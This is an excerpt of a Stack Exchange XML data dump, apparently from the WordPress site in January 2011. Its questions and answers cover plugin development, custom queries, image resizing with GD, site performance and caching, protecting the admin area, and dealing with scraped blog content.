  <row Id="6947" PostTypeId="2" ParentId="6924" CreationDate="2011-01-14T06:37:30.010" Score="5" ViewCount="" Body="&lt;p&gt;Use a non-dirt-cheap hosting who has a clue about what they are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Security plugins, complex passwords, etc are cute and needed, but they won't matter a bit if hosting has poorly configured disorderly stack without proper management.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T06:37:30.010" CommentCount="4" />
  <row Id="6948" PostTypeId="2" ParentId="6873" CreationDate="2011-01-14T06:43:26.957" Score="2" ViewCount="" Body="&lt;p&gt;If you want to resize the image you need to download the image from the webserver and then write it to disk. The below function should do the trick. The image is then stored on the local hard drive. This is actually much more friendly then loading the thumbnails from another site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function http_image_writer($imgSrc, $filepath) {&#xA;&#xA;  if(isset($imgSrc)) {&#xA;&#xA;    //getting the image dimensions&#xA;    list($width, $height) = getimagesize($imgSrc);&#xA;&#xA;    //saving the image into memory&#xA;    //the file has to be a jpg file or it will fail.&#xA;    //Use the other imagecreate functions for other formats.&#xA;    $myImage = imagecreatefromjpeg($imgSrc);&#xA;&#xA;    // Creating the thumbnail&#xA;    $file = imagecreatetruecolor($width, $height);&#xA;    imagecopyresampled($file, $myImage, 0,0,0,0, $width, $height, $width, $height);&#xA;&#xA;    //final output of the image file&#xA;    imagejpeg($file,$filepath);&#xA;&#xA;    //cleanup of the images in memory&#xA;    imagedestroy($file);&#xA;    imagedestroy($myImage);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since this function uses GD u can simply add some resizing code to it there are plenty of examples for that.&lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-14T07:35:08.740" LastActivityDate="2011-01-14T07:35:08.740" CommentCount="2" />
  <row Id="6949" PostTypeId="2" ParentId="6901" CreationDate="2011-01-14T06:49:23.030" Score="0" ViewCount="" Body="&lt;p&gt;If your trying to replace XML Data I think the best way would be to use the XMLParser functions or the Simple XML Functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/book.xml.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/book.xml.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://us2.php.net/manual/en/book.simplexml.php&quot; rel=&quot;nofollow&quot;&gt;http://us2.php.net/manual/en/book.simplexml.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont have any examples at hand but there should be plenty around on the web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer to comment &#xA;Simplepie seems to be able to edit contents before output like this: &lt;a href=&quot;http://simplepie.org/wiki/tutorial/how_to_edit_part_of_the_feed_before_parsing_it&quot; rel=&quot;nofollow&quot;&gt;http://simplepie.org/wiki/tutorial/how_to_edit_part_of_the_feed_before_parsing_it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your video is an url from the major video streamers that use oEmbed you might be able to use &lt;a href=&quot;http://codex.wordpress.org/oEmbed&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/oEmbed&lt;/a&gt; this to get the video players and inject these into the simplepie stream, but this is pure speculation on my part. I havent worked with either classes.&lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditorDisplayName="" LastEditDate="2011-01-14T10:45:52.670" LastActivityDate="2011-01-14T10:45:52.670" CommentCount="1" />
  <row Id="6950" PostTypeId="1" AcceptedAnswerId="7007" CreationDate="2011-01-14T07:53:07.870" Score="2" ViewCount="364" Body="&lt;p&gt;I'm writing a plugin called 'Featured Releases' for a client.  The user fills out a short form in the admin area which inserts some text and an image id into the wordpress database via $wpdb-&gt;insert.  On my development machine it works fine, but on the production server (which has over 500 posts of all sorts, mostly images), the value of the image id is being changed to 127 no matter what I do.  127 is the id of a post, but its not an image and certainly not the id that was passed from the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image is uploaded via the native wordpress media uploader.  The image's post id (from the wp_posts table) is passed to a hidden input in the form.  On submit, this function handles the $_POST data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fr_add_album() {&#xA;    global $wpdb;&#xA;&#xA;    if ( isset($_POST) &amp;amp;&amp;amp; (count($_POST) &amp;gt; 0) ) {&#xA;&#xA;        check_admin_referer('featured-releases-add_album');&#xA;&#xA;        $table_name = $wpdb-&amp;gt;prefix . 'featured_releases';&#xA;&#xA;        $desired_keys = array('fr_band', 'fr_album', 'fr_album_description', 'fr_image_id', 'fr_shop_url');&#xA;&#xA;        $data = array();&#xA;        foreach( $desired_keys as $key ) {&#xA;&#xA;            // Define and sanatize data&#xA;            if ( isset($_POST[&quot;$key&quot;]) ) {&#xA;                $accepted_html = array('a' =&amp;gt; array('href' =&amp;gt; array(), &#xA;                                       'title' =&amp;gt; array())); &#xA;                $data[&quot;$key&quot;] = wp_kses($_POST[&quot;$key&quot;], $accepted_html);&#xA;&#xA;                unset($_POST[&quot;$key&quot;]);&#xA;            } else {&#xA;                $data[&quot;$key&quot;] = '';&#xA;            }&#xA;        }&#xA;&#xA;        // Sanitize the shop url&#xA;        if ( isset($data['fr_shop_url']) ) {&#xA;            $data['fr_shop_url'] = esc_url($data['fr_shop_url']);&#xA;        }&#xA;&#xA;        $data['fr_modified'] = date('Y-m-d h:i:sa');&#xA;&#xA;        error_log($data['fr_image_id']); // This returns the correct value!&#xA;&#xA;        $wpdb-&amp;gt;insert($table_name, $data, array('%s','%s', '%s', '%d', '%s'));&#xA;&#xA;        // After the insert, the fr_image_id column always reads &quot;127&quot;&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The insane thing is that there &lt;em&gt;are a few images which do post correctly&lt;/em&gt;.  These were the first images I uploaded when I created the wordpress install.  Every other image from any other date, including any new image I upload is saved as 127 in the database.  All the images have the same owners and same permissions.  I also can't see any difference in wp_posts between the new images and the old.  Any ideas?  I'm dyin' here.  Thanks for your help!&lt;/p&gt;&#xA;" LastActivityDate="2011-01-14T23:00:55.557" Title="$wpdb-&gt;insert is changing a value" Tags="&lt;plugin-development&gt;&lt;wpdb&gt;" AnswerCount="2" />
  <row Id="6951" PostTypeId="1" CreationDate="2011-01-14T08:15:54.297" Score="2" ViewCount="263" Body="&lt;p&gt;I'm building it from scratch and probably a 100 or so of those pages will be ecommerce. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to create meaningful, normal looking permalinks for aesthetics and SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really love to use Wordpress for this but I'm concerned about performance issues with this volume of pages.&lt;/p&gt;&#xA;" OwnerUserId="2495" LastActivityDate="2011-01-14T15:51:54.303" Title="Can Wordpress realistically handle a site with 500 'pages'?" Tags="&lt;permalinks&gt;&lt;performance&gt;&lt;cms&gt;&lt;pages&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="6952" PostTypeId="2" ParentId="6634" CreationDate="2011-01-14T08:31:36.760" Score="1" ViewCount="" Body="&lt;p&gt;There's really no definitive answer. But in favour of Wordpress I'd say:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sites tend to get bigger overtime even if it's not forseen at the beginning so you'll be well placed for that with Wordpress,&lt;/li&gt;&#xA;&lt;li&gt;If you explain to them the benefits that having a blog and more content can bring in terms of SEO and visitor engagement they may well decide to increase the size anyway,&lt;/li&gt;&#xA;&lt;li&gt;Probably the main point though is that it'll be much easier for you to hand the site over to them to manage themselves as the Wordpress backend is easy for the novice to pick up.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2495" LastActivityDate="2011-01-14T08:31:36.760" />
  <row Id="6953" PostTypeId="1" AcceptedAnswerId="7006" CreationDate="2011-01-14T08:32:18.897" Score="2" ViewCount="605" Body="&lt;p&gt;How do I limit the query by two custom meta fields, a start date and an end date? This is what my data looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;meta_key   | meta_value |&#xA;------------------------|&#xA;start_date | 20100131   | //Jan 15, 2010&#xA;end_date   | 20100206   | //Feb 6, 2010&#xA;------------------------'&#xA;&#xA;$today = date(YYYYMMDD);&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The post will show if &lt;code&gt;start_date = $today&lt;/code&gt; and it will expires when &lt;code&gt;end_date = $today&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;update&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the structure on my single.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Query&#xA;I use here your answer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;query_posts( $query_string );&#xA;if (have_posts()) : while (have_posts()) : the_post();&#xA;    ?&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;?php&#xA;endwhile; endif;&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and Second Query with regular wordpress function but this second query doesnt work properly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;query_posts('showposts=5&amp;amp;meta_key=start_date&amp;amp;meta_compare=&amp;gt;&amp;amp;meta_value='.date(&quot;Ymd&quot;));&#xA;if (have_posts()) : while (have_posts()) : the_post();&#xA;    ?&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;?php&#xA;endwhile; endif;&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2462" LastEditorUserId="2462" LastEditorDisplayName="" LastEditDate="2011-01-19T08:48:58.047" LastActivityDate="2011-01-20T00:57:20.987" Title="Query between two meta values?" Tags="&lt;post-meta&gt;&lt;date-time&gt;&lt;custom-sql&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6954" PostTypeId="2" ParentId="6951" CreationDate="2011-01-14T08:32:40.423" Score="1" ViewCount="" Body="&lt;p&gt;The amount of pages is unlikely to be a problem.The amount of users accessing the website is. If you have a lot of traffic, make sure you use static cache plugins and set the garbage collection to a very long time. Only use plugins that you really need, less code means less render time.&lt;/p&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-01-14T08:32:40.423" CommentCount="1" />
  <row Id="6955" PostTypeId="2" ParentId="6951" CreationDate="2011-01-14T08:48:10.293" Score="2" ViewCount="" Body="&lt;p&gt;There are some issues in WP permalinks implementation that introduce scaling issues for large amount of pages and some specific permalink configurations, see &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;Category in Permalinks Considered Harmful&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that it is business as usual - use decent hosting, keep plugins setup efficient, add caching and you will be fine.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T08:48:10.293" CommentCount="1" />
  <row Id="6956" PostTypeId="1" CreationDate="2011-01-14T08:53:05.517" Score="-1" ViewCount="179" Body="&lt;p&gt;How can the wordpress administration panel and the login page wp-login.php be hidden such that only the website administrator can access it? Can the URL be rewritten through some mod_rewrite rule without worrying about breaking anything (leaving aside all the plugins)? Preferably the solution should not be IP address based which will mean the administrator can access the website from only one or a set of computers.&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-04-09T12:39:54.350" Title="How to protect wp-admin from third party access?" Tags="&lt;wp-admin&gt;&lt;3.0.1&gt;&lt;security&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="6957" PostTypeId="2" ParentId="6950" CreationDate="2011-01-14T08:59:52.143" Score="1" ViewCount="" Body="&lt;p&gt;Cryptic indeed. Something goes wrong only in production and only on brief stage of query execution (which is used extensively and theoretically quite reliable)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had you tried to check generated SQL query for sanity? ( &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Save_queries_for_analysis&quot; rel=&quot;nofollow&quot;&gt;Save queries for analysis&lt;/a&gt; ). I'd first try that to see what is really sent to database and if it seems fine if same query runs ok when performed manually with PHPMyAdmin or other tool.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T08:59:52.143" />
  <row Id="6958" PostTypeId="1" AcceptedAnswerId="6960" CreationDate="2011-01-14T09:01:53.897" Score="1" ViewCount="82" Body="&lt;p&gt;I'm not sure if this is the right place to ask this but last night i made a post on my wordpress powered blog here: &lt;a href=&quot;http://blog.twostepmedia.co.uk/css3-still-novelty-or-usable-in-everyday-web-development/&quot; rel=&quot;nofollow&quot;&gt;http://blog.twostepmedia.co.uk/css3-still-novelty-or-usable-in-everyday-web-development/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then this morning i see this: &lt;a href=&quot;http://buzzgamesnews.blogspot.com/2011/01/css3-still-novelty-or-usable-in.html&quot; rel=&quot;nofollow&quot;&gt;http://buzzgamesnews.blogspot.com/2011/01/css3-still-novelty-or-usable-in.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this right? Can someone completely clone a post of mine or am i overreacting?&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-02-18T07:15:52.853" Title="Wordpress blog post cloned and stolen?" Tags="&lt;posts&gt;" AnswerCount="2" />
  <row Id="6959" PostTypeId="2" ParentId="6796" CreationDate="2011-01-14T09:10:24.463" Score="2" ViewCount="" Body="&lt;p&gt;Just wanted to give an update. Someone was kind enough to show me how to update the code I posted above. It turned out to be quite simple (if you know what you're doing!). So I have posted it below for anyone that wants to do something similar. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $posts_per_page = get_query_var('posts_per_page'); ?&amp;gt;&#xA;&amp;lt;?php $paged = intval(get_query_var('paged')); ?&amp;gt;&#xA;&amp;lt;?php $paged = ($paged) ? $paged : 1; ?&amp;gt;&#xA;&amp;lt;?php $args = array(&#xA;'posts_per_page' =&amp;gt; $posts_per_page,&#xA;'paged' =&amp;gt; $paged,&#xA;'more' =&amp;gt; $more = 0,&#xA;'meta_key' =&amp;gt; 'views',&#xA;'orderby' =&amp;gt; 'meta_value_num',&#xA;'order' =&amp;gt; 'DESC',&#xA;); ?&amp;gt;&#xA;&amp;lt;?php query_posts($args); ?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post() ;?&amp;gt;&#xA;&amp;lt;div &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2447" LastActivityDate="2011-01-14T09:10:24.463" />
  <row Id="6960" PostTypeId="2" ParentId="6958" CreationDate="2011-01-14T09:14:02.433" Score="3" ViewCount="" Body="&lt;p&gt;Yes, they can. There is nothing strange or technically complex about that. And before you ask - no, it's pretty much unrealistic to protect public web page from being copied. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My process to deal with such goes roughly like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Contact blog owner and point out that your posts are not meant to be copied and that is not allowed under license/terms ( © in &lt;em&gt;Two Step Media © 2010&lt;/em&gt; ) of your blog.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not successful report to his hosting. Additional mean and pleasant step is to report to advertisement companies that are used on site. Most of the time scraping is done for profit so hitting profit is exactly what hurts and makes a point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give up or get legal stuff involved.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since blog in question is hosted by Google and not self-hosted it's very likely &lt;strong&gt;2&lt;/strong&gt; (if not &lt;strong&gt;1&lt;/strong&gt;) will get it done.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T09:14:02.433" CommentCount="3" />
  <row Id="6961" PostTypeId="1" AcceptedAnswerId="6968" CreationDate="2011-01-14T10:34:06.530" Score="2" ViewCount="1181" Body="&lt;p&gt;I'm building a theme that is going to show excerpts on the homepage for potentially dozens of posts. I don't have manual excerpts on all of my posts, so &lt;code&gt;$post-&amp;gt;post_excerpt&lt;/code&gt; is empty for many posts. In the event that there isn't a manual excerpt, I would like to use the built-in get_the_excerpt() function, but it isn't available outside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tracking down the function, it looks like it uses wp_trim_excerpt from wp-includes/formatting.php to create excerpts on the fly. I am calling it in my code like  &lt;code&gt;wp_trim_excerpt( $item-&amp;gt;post_content )&lt;/code&gt;, but it is simply returning the full content. Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can create my own function to create an excerpt, but I like to use built-in functions where possible, keeping my code compatible with other potential plugins / filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/wp_trim_excerpt?version=3.0&amp;amp;file=wp-includes/formatting.php&quot; rel=&quot;nofollow&quot;&gt;http://adambrown.info/p/wp_hooks/hook/wp_trim_excerpt?version=3.0&amp;amp;file=wp-includes/formatting.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="472" LastActivityDate="2011-08-26T17:23:10.703" Title="Using wp_trim_excerpt to get the_excerpt() outside the loop" Tags="&lt;excerpt&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="6962" PostTypeId="2" ParentId="6958" CreationDate="2011-01-14T10:34:48.990" Score="0" ViewCount="" Body="&lt;p&gt;Sadly you've encountered a blog that aggregates content from other peoples blogs and posts it automatically to another blog. Plugins like WP Robot make it easy to parse blog RSS feeds and scrape posts. Other than reporting the blog which most likely won't do anything, you're out of luck. &lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-14T10:34:48.990" CommentCount="2" />
  <row Id="6964" PostTypeId="2" ParentId="6953" CreationDate="2011-01-14T10:52:44.507" Score="0" ViewCount="" Body="&lt;p&gt;The answer to this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6796/how-to-change-loop-to-order-posts-by-views-using-wp-postviews-plugin&quot;&gt;How to Change Loop to Order Posts by Views (using wp-postviews plugin)&lt;/a&gt; shows you how to sort by a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the Codex docs for query_posts(): &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/query_posts&lt;/a&gt;, and look a the custom field sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, all you need to do is include a test within the loop to skip if ($today &amp;lt; start_date or $today &gt; end_date)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-14T10:52:44.507" />
  <row Id="6965" PostTypeId="2" ParentId="6951" CreationDate="2011-01-14T11:22:13.177" Score="2" ViewCount="" Body="&lt;p&gt;My advice is to heavily invest a lot of their time in caching your site. I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;WP Super Cache&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/db-cache-reloaded/&quot; rel=&quot;nofollow&quot;&gt;DB Cache Reloaded&lt;/a&gt; on a site that is getting around 15,000 hits a day and it is not struggling whatsoever. Wordpress can handle surprisingly large amounts of traffic with ease. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's usually the database calls the kill everything on a Wordpress site, so good database and asset caching are essential and achievable with those two plugins.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-14T11:22:13.177" />
  <row Id="6966" PostTypeId="2" ParentId="145" CreationDate="2011-01-14T11:32:13.217" Score="0" ViewCount="" Body="&lt;p&gt;I use a $13 plugin called &lt;a href=&quot;http://codecanyon.net/item/logpress/114418&quot; rel=&quot;nofollow&quot;&gt;LogPress&lt;/a&gt; you can buy on ThemeForest and it is an absolute God-send. You can debug everything relating to their plugins and site. Supports Firebug console logging and a whole lot more. I can't live without it, that is how much I use this plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin is probably the best money I have ever spent and it has saved countless hours in my Wordpress plugin development.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-14T11:32:13.217" />
  <row Id="6967" PostTypeId="1" CreationDate="2011-01-14T11:54:00.937" Score="0" ViewCount="123" Body="&lt;p&gt;I want to search in two categories without using the search box at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I have this code to display the desired categories,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_dropdown_categories('child_of=3&amp;amp;hierarchical=1&amp;amp;depth=1&amp;amp;hide_empty=0&amp;amp;name=cat[one]'); ?&amp;gt;&#xA;&amp;lt;?php wp_dropdown_categories('exclude=3&amp;amp;hierarchical=1&amp;amp;depth=1&amp;amp;hide_empty=0&amp;amp;name=cat[two]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have names as array cat as I wanted them to GET from URL and build custom query. I have tried many things but failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want the user to just press search and it should display posts that are in &quot;Both&quot; categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help. Thanks.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-14T12:27:46.600" Title="Search in Two Categories" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="6968" PostTypeId="2" ParentId="6961" CreationDate="2011-01-14T12:01:10.667" Score="4" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_trim_excerpt()&lt;/code&gt; has a little curious mechanics - it anything is passed to it then it does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is basic logic behind it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;get_the_excerpt()&lt;/code&gt; checks for manual excerpt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;wp_trim_excerpt()&lt;/code&gt; chimes in if there is no manual excerpt and makes one from content or teaser.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Both&lt;/strong&gt; are tightly tied to global variables and so Loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside the Loop you are better of taking code out of &lt;code&gt;wp_trim_excerpt()&lt;/code&gt; and writing own trim function.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T12:01:10.667" />
  <row Id="6969" PostTypeId="1" AcceptedAnswerId="12247" CreationDate="2011-01-14T12:01:11.897" Score="0" ViewCount="129" Body="&lt;p&gt;I'm creating a theme that would need some settings on the client side. So I need a admin interface where they can set some values. (like, source of image, title, or numbers) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so in my theme, I can just set some variables like &lt;code&gt;&amp;lt;img src=&quot;IMAGE_SOURCE&quot; title=&quot;TITLE&quot; size=&quot;NUMBER&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can point me to a tutorial that would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="378" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-14T12:44:44.720" LastActivityDate="2011-03-16T21:01:20.363" Title="how do you create an admin interface in plugin for your theme" Tags="&lt;theme-development&gt;&lt;wp-admin&gt;&lt;functions&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="6970" PostTypeId="2" ParentId="6969" CreationDate="2011-01-14T12:07:48.200" Score="1" ViewCount="" Body="&lt;p&gt;It is hard to point out single tutorial, a lot of info around dates back to oldish versions and now it's better done with &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt;. So check that for foundation and there are some links at the end for more written out examples.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T12:07:48.200" />
  <row Id="6971" PostTypeId="2" ParentId="6942" CreationDate="2011-01-14T12:13:36.170" Score="0" ViewCount="" Body="&lt;p&gt;For a [kind of] client I had coded custom widget in jQuery Cycle, which theme was already using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For myself I have bunch of code that mines queried posts for images and generates markup with callback so it can be ised with different JS for presentation. No admin interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd check off-the-shelf up plugins first, but that mostly because I am not so good with coding admin interfaces myself.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T12:13:36.170" />
  <row Id="6972" PostTypeId="2" ParentId="6967" CreationDate="2011-01-14T12:27:46.600" Score="2" ViewCount="" Body="&lt;p&gt;Basically you don't really want search, but separate page that will list post on specific condition?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create &lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;template for a page&lt;/a&gt; with &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;Loop&lt;/a&gt; that will query for posts, belonging to both categories, using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;category__and&lt;/code&gt; parameter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-14T12:27:46.600" CommentCount="1" />
  <row Id="6973" PostTypeId="2" ParentId="6942" CreationDate="2011-01-14T12:34:06.097" Score="0" ViewCount="" Body="&lt;p&gt;i tend to do plugins since i want to be able to use my code in other sites without recoding it or copy pasting it, if you want to look professional it is the way to go. Although clients usually dont have the high standards that coders tend to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the long run building admin interfaces really pays off. You will get a good library with functions and scripts that will allow you to build these things within a day. Just by slinging some scripts together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I build my own media library and I use that for clients but you can use any gallery out  there. Just dig in the code and take what you need its open source. Just don't forget the credit!!&lt;/p&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-01-14T12:34:06.097" />
  <row Id="6974" PostTypeId="2" ParentId="6903" CreationDate="2011-01-14T13:40:53.163" Score="1" ViewCount="" Body="&lt;p&gt;It seems you can have both post ID's and numbers in the page slug. So &lt;code&gt;my-post-2&lt;/code&gt; could be &lt;code&gt;my-post&lt;/code&gt; with post ID &lt;code&gt;2&lt;/code&gt; or &lt;code&gt;my-post-2&lt;/code&gt; with no post ID. In theory there is no way to solve this, but in practice maybe we can assume that you won't have ten similar slugs, so the slug number is at most one digit, and the post ID is at least two digits. This way you can add the few posts with IDs 1-9 with a complete non-regex redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This regex should match anything of the form &lt;code&gt;/[year]/[month]/[optional-day]/[post-slug-with-optional single digit]-[optional post id][optional /]&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;^/(\d{4})/\d{2}/(\d{2}/)?([^/]+?)(-\d{2,})?/?$&#xA;&#xA;^/                                              Start of the string, one slash&#xA;  (\d{4})                                       Four digits, saved for later&#xA;         /                                      One slash&#xA;          \d{2}                                 Two digits, not saved&#xA;               /                                One slash&#xA;                (\d{2}/)?                       Two digits and a slash, optional&#xA;                         ([^/]+?)               Everything that is not a slash, but not greedy&#xA;                                 (-\d{2,})?     A dash and two or more digits, optional&#xA;                                           /?$  Optional slash and end of the string&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The year is in the first captured group, the post slug in the third.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;not greedy&quot; is important because it makes sure that part of the regex doesn't &quot;eat up&quot; the post-ID part that is matched after it. It is created by appending the &lt;code&gt;?&lt;/code&gt; to the &lt;code&gt;+&lt;/code&gt;. I believe this does not work under Apache 1.3, so WordPress strips it out before it creates the &lt;code&gt;mod_rewrite&lt;/code&gt; rules. So if it does not work when you put it in the Apache part of Redirection, try it in the WordPress part.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-14T13:40:53.163" />
